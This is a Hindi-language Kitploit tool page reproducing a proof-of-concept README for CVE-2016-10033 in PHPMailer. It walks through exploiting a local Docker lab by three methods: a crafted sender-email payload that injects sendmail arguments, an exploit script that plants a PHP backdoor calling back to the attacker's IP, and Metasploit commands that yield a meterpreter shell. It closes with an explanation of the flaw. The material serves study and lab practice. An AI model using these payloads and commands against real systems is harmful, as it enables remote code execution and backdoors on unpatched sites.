Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
POC-CVE-2016-10033 — सीवीई-2016-10033 (PHPMailer) के लिए अवधारणा का प्रमाण | Kitploit
उपकरण/GitHubGitHub/astrowmist/poc-cve-2016-10033
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंटलैब और अभ्यास
GitHubastrowmist/poc-cve-2016-10033

POC-CVE-2016-10033

सीवीई-2016-10033 (PHPMailer) के लिए अवधारणा का प्रमाण

रिपॉजिटरी देखें
2 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

POC-CVE-2016-10033

पहले वल्नरेबल एप्लिकेशन को चालू करते हैं

चरण 1: वल्नरेबल डॉकर इमेज को डॉकर रिपॉजिटरी से प्राप्त करने के लिए निम्नलिखित कमांड चलाएँ।

कमांड: docker pull vulnerables/cve-2016-10033

alt text

चरण 2: डॉकर डेस्कटॉप में डॉकर इमेज को चलाएँ, पोर्ट 8080 को एक्सपोज़ करें।

alt text

अब आप वेब ब्राउज़र में localhost:8080 पर वल्नरेबल वेबसाइट तक पहुँच सकते हैं।

alt text

विधि 1: वेबपेज के माध्यम से

चरण 1: फॉर्म को निम्नलिखित इनपुट से भरें:

नाम इनपुट: OSEC (कोई भी स्ट्रिंग हो सकता है, इससे एक्सप्लॉयट प्रभावित नहीं होता)
क्राफ्टेड प्रेषक ईमेल: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com

यह क्राफ्टेड प्रेषक ईमेल कैसे काम करता है, इसका विस्तृत विवरण हमले वेक्टर के विवरण अनुभाग में दिया गया है। विशिष्ट पैरामीटर्स के लिए, दूसरा पैरामीटर -oQ/tmp क्यू निर्देशिका निर्दिष्ट करता है और तीसरा पैरामीटर, -X/www/pwn.html लिखे जाने वाले लॉग फ़ाइल का स्थान निर्दिष्ट करता है।
यदि क्यू निर्देशिका निर्दिष्ट नहीं की जाती है, तो sendmail प्रक्रिया डिफ़ॉल्ट मेल क्यू निर्देशिका (/var/spool/mqueue-client/) तक पहुँचने का प्रयास करेगी, जो अनधिकृत पहुँच और छेड़छाड़ को रोकने के लिए सुरक्षित होगी, जो एक सामान्य सुरक्षा उपाय है। इस अनुमति समस्या से बचने के लिए, आपको एक क्यू निर्देशिका निर्दिष्ट करनी चाहिए जहाँ PHP स्क्रिप्ट चलाने वाले उपयोगकर्ता के पास लिखने की अनुमति हो। आमतौर पर, /tmp जैसी निर्देशिका का उपयोग किया जाता है क्योंकि यह सामान्यतः सभी उपयोगकर्ताओं के लिए लिखने योग्य होती है।
यदि ईमेल के बॉडी में PHP कोड है, और यदि निर्दिष्ट लॉग फ़ाइल को वेब-एक्सेसिबल निर्देशिका में रखा गया है, तो हमलावर वेब ब्राउज़र के माध्यम से लॉग फ़ाइल तक पहुँचकर PHP कोड निष्पादित कर सकता है, जिसके परिणामस्वरूप रिमोट कोड निष्पादन होता है।

संदेश इनपुट: यह सिर्फ एक उदाहरण HTML फ़ाइल है जिसे हमलावर अपलोड कर सकता है। बेशक, हमलावर इससे भी बुरी चीज़ अपलोड कर सकता है जैसे बैकडोर, जो हम अगले विधि में करेंगे।

root@kitploit:~
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hacked!</title>
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;        
        }
        .container {
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1 style="color: red;">Congratulations! You've been hacked!</h1>
        <div>
            
            <p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
        </div>
    </div>
</body>
</html>

चरण 2: फॉर्म सबमिट करने के बाद, हमारे द्वारा अपलोड की गई HTML फ़ाइल को http://localhost:8080/pwn.html पर ब्राउज़ करें।

alt text

विधि 2: कमांड लाइन के माध्यम से (एक्सप्लॉयट स्क्रिप्ट)

आवश्यकताएँ: यह स्क्रिप्ट केवल Python 2 के साथ संगत है (यह Python 3 के साथ काम नहीं करती)।

चरण 1: एक्सप्लॉयट स्क्रिप्ट https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py से डाउनलोड करें।

चरण 2: फिर स्क्रिप्ट को निम्नलिखित आर्गुमेंट्स के साथ चलाएँ:

कमांड: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www

-url -> लक्ष्य URL निर्दिष्ट करता है
-cf -> -url में निर्दिष्ट URL के भीतर संपर्क फ़ॉर्म का स्थान निर्दिष्ट करता है (हमारे मामले में यह बिल्कुल -url के समान है, इसलिए हमने सिर्फ एक स्लैश शामिल किया)
-ip -> बैकडोर को वापस कनेक्ट करने के लिए हमलावर का IP निर्दिष्ट करता है
-d -> बैकडोर PHP फ़ाइल अपलोड करने के लिए सापेक्ष निर्देशिका निर्दिष्ट करता है
--post-action -> छिपे हुए फ़ील्ड का name गुण
--post-msg -> संदेश इनपुट फ़ील्ड का name गुण

alt text नोट: हमें --post-action को "submit" और --post-msg को "message" क्यों निर्दिष्ट करना पड़ता है, इसका कारण यह है कि हम जिस वल्नरेबल एप्लिकेशन का उपयोग कर रहे हैं, उसमें name गुण Python एक्सप्लॉयट स्क्रिप्ट में उपयोग किए गए डिफ़ॉल्ट मानों से भिन्न हैं।

वल्नरेबल एप्लिकेशन में name गुण:

alt text

स्क्रिप्ट में निर्दिष्ट डिफ़ॉल्ट name गुण: alt text

चरण 3: कमांड चलाने के बाद हमें एक त्रुटि मिली जो नीचे दिखाई गई है।

alt text
उपरोक्त छवि में आप देख सकते हैं कि प्रोग्राम http://127.0.0.1:8080//www/phpbackdoor9284.php तक पहुँचने का प्रयास कर रहा है, जो //www के कारण स्पष्ट रूप से गलत है। यह काम नहीं करेगा क्योंकि इस वल्नरेबल वेबसाइट में /www वेबसाइट रूट है, इसलिए आप http://127.0.0.1:8080/www पर नहीं जा सकते क्योंकि http://127.0.0.1:8080 पहले से ही /www पर है।

इसके अलावा नीचे दी गई छवि में हम देख सकते हैं कि एक्सप्लॉयट वास्तव में काम कर गया क्योंकि phpbackdoor9284.php निर्देशिका में सफलतापूर्वक बन गया है। इसलिए एकमात्र समस्या यह थी कि URL से //www को कैसे हटाया जाए।
alt text

Python स्क्रिप्ट की आगे जाँच करने पर, हम BACKDOOR_URL वेरिएबल का पता लगाने में सफल रहे जो बैकडोर PHP फ़ाइल का URL निर्दिष्ट करता है।
वेरिएबल में हम देख सकते हैं कि हमारे द्वारा निर्दिष्ट लक्ष्य निर्देशिका (args.TARGET_UP_DIR) को BACKDOOR_FILE वेरिएबल के साथ जोड़ा जा रहा है।
समस्या को हल करने के लिए, हमें उस अतिरिक्त स्लैश को हटाना होगा।

पहले:
alt text

बाद में:
alt text

**ध्यान दें कि इस रिपॉजिटरी में स्क्रिप्ट पहले से ही संशोधित और उपयोग के लिए तैयार है

चरण 4: अब पिछला कमांड फिर से चलाएँ, और इस बार बैकडोर सफलतापूर्वक वेब रूट निर्देशिका में अपलोड हो जाना चाहिए और आपकी काली मशीन से वापस कनेक्ट हो जाना चाहिए।

alt text

विधि 3: Metasploit

चरण 1: काली टर्मिनल पर msfconsole टाइप करके Metasploit खोलें। फिर CVE-2016-10033 के लिए Metasploit मॉड्यूल खोजें। फिर उसके साथ जुड़े इंडेक्स को चुनकर मॉड्यूल चुनें। नीचे दिए गए स्क्रीनशॉट में हमने 1 चुना है जो PHPMailer < 5.2.18 को लक्षित करता है।

कमांड:
msfconsole
search CVE-2016-10033
use 1
alt text

चरण 2: एक्सप्लॉयट मॉड्यूल के लिए आवश्यक विकल्प सेट करें जैसे लक्ष्य का IP पता, पोर्ट, लक्ष्य URL और वेब रूट।

कमांड:
set RHOSTS 192.168.79.1 (लक्ष्य का IP निर्दिष्ट करता है)
set RPORT 8080 (लक्ष्य का पोर्ट निर्दिष्ट करता है)
set TARGETURI /(वेब फ़ॉर्म का URL निर्दिष्ट करता है)
set WEB_ROOT /www (वेबसाइट रूट का स्थान निर्दिष्ट करता है)

alt text

चरण 3: एक्सप्लॉयट चलाने के लिए "exploit" टाइप करें। यदि सब ठीक रहा तो आपको नीचे दिखाए अनुसार लक्ष्य मशीन का meterpreter शेल वापस मिल जाना चाहिए।

कमांड: exploit

alt text

हम POC के अंत में आ गए हैं।

एक्सप्लॉयट की व्याख्या

PHPMailer क्लास PHP mail() फ़ंक्शन को अपने डिफ़ॉल्ट ट्रांसपोर्ट के रूप में उपयोग करता है। ट्रांसपोर्ट को mailSend() फ़ंक्शन का उपयोग करके कार्यान्वित किया जाता है: alt text

यदि आप पंक्ति 12 को देखें,
alt text

प्रेषक पते को -f के साथ जोड़ा गया है जैसा कि PHP mail() फ़ंक्शन के दस्तावेज़ीकरण में बताया गया है, ताकि sendmail बाइनरी को बताया जा सके कि -f तर्क के बाद की स्ट्रिंग प्रेषक का ईमेल पता है। alt text

mailSend() फ़ंक्शन की अंतिम पंक्ति पर,
alt text

PHP mail() फ़ंक्शन के लिए आवश्यक सभी तर्क पारित किए जाते हैं, जिसमें $params का 5वाँ पैरामीटर भी शामिल है जो sendmail बाइनरी को अतिरिक्त पैरामीटर पारित करने की अनुमति देता है।

नीचे दी गई तस्वीर उन पैरामीटर्स को दिखाती है जो mail() फ़ंक्शन लेता है, जो mailSend() फ़ंक्शन द्वारा पारित पैरामीटर्स से मेल खाते हैं।
alt text

जैसा कि ऊपर देखा गया है, हम जानते हैं कि $params स्ट्रिंग Sender वेरिएबल से बनी है। यह Sender स्ट्रिंग सामान्यतः setFrom() विधि का उपयोग करके सेट की जाती है, जो उपयोगकर्ता द्वारा वेबफ़ॉर्म में टाइप किए गए प्रेषक के पते को मान्य करती है।

alt text

validateAddress() फ़ंक्शन की वैधता के कारण, PHPMailer उदाहरण के लिए एक ईमेल को अस्वीकार कर देगा जैसे,
attacker -InjectedParam2 @attacker.com
जो mail() फ़ंक्शन के माध्यम से Sendmail को अतिरिक्त पैरामीटर इंजेक्ट करने से रोकेगा।

CVE के संस्थापक द्वारा आगे के शोध में उन्होंने महसूस किया कि वैधता वास्तव में RFC 3696 विनिर्देश का उपयोग करके की जाती है।

RFC ईमेल में रिक्त स्थान को अनुमति देता है जब " के साथ उद्धृत किया जाता है। इसलिए निम्नलिखित ईमेल पता setFrom() विधि द्वारा स्वीकार किया जाएगा:
"Attacker -Param2 -Param3"@test.com
जो फिर mailSend() फ़ंक्शन और फिर PHP mail() फ़ंक्शन को पारित किया जाएगा, जो तब /usr/bin/sendmail , MTA (मेल ट्रांसफर एजेंट) बाइनरी को निम्नलिखित तर्कों की सूची के साथ निष्पादित करेगा:

root@kitploit:~
तर्क सं. 0 == [/usr/sbin/sendmail]
तर्क सं. 1 == [-t] (हेडर से प्राप्तकर्ता पढ़ें)
तर्क सं. 2 == [-i] (पंक्तियों पर डॉट्स को अनदेखा करें)
तर्क सं. 3 == [-f”Attacker -Param2 -Param3”@test.com]

दूसरे शब्दों में इस प्रकार:
alt text

जो हमलावर के लिए काम नहीं करेगा क्योंकि Param2 और Param3 उसी तर्क संख्या 3 के भीतर पारित किए गए हैं जो प्रेषक का पता निर्दिष्ट करता है।

हालांकि हमलावर कुछ अतिरिक्त एस्केपिंग द्वारा इससे बाहर निकल सकते हैं। प्रेषक ईमेल में पहले तर्क के बाद \" का एक अतिरिक्त अनुक्रम इंजेक्ट करके,
"Attacker \" -Param2 -Param3"@test.com
और जब PHPMailer और अंततः mail() फ़ंक्शन को पारित किया जाता है, तो यह sendmail बाइनरी को निम्नलिखित तर्कों की सूची के साथ निष्पादित करेगा:

root@kitploit:~
तर्क सं. 0 == [/usr/sbin/sendmail]
तर्क सं. 1 == [-t]
तर्क सं. 2 == [-i]
तर्क सं. 3 == [-fAttacker\]
तर्क सं. 4 == [-Param2]
तर्क सं. 5 == [-Param3"@test.com]

दूसरे शब्दों में इस प्रकार:
alt text

इस प्रकार इस बार हमलावर अतिरिक्त पैरामीटर इंजेक्ट करने में सक्षम होंगे, इस मामले में पैरामीटर 4 और 5।

क्रेडिट्स

यह भेद्यता Dawid Golunski द्वारा खोजी गई थी।

डॉकर इमेज opsxcq द्वारा बनाई गई थी - https://github.com/opsxcq

और अंतिम लेकिन कम नहीं, मेरे प्यारे समूह सदस्य जिन्होंने POC में मेरी मदद की:
Xavion - https://www.linkedin.com/in/xaviontok/
Brandon - https://www.linkedin.com/in/brandontyf/

टूल डाउनलोड करें